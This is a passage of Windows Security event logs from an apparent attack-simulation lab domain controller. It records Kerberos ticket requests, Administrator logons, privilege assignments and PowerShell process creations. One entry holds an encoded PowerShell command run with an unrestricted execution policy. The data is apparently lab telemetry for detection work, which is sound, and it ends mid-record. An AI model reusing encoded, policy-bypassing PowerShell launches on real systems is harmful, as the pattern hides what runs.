Account Domain: ATTACKRANGE - Logon ID: 0x17007D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252712 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252711 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252710 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252709 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x170050 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252708 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x170050 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252707 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x170050 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252706 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252705 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252704 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252703 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16FC24 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252702 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E86F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252701 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16FC24 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252700 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16FC24 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252699 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252698 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252697 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252696 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13e4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1328 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252770 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x174D1D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252769 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x174D1D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252768 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252767 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252766 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252765 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf68 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd7c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252764 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x132c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 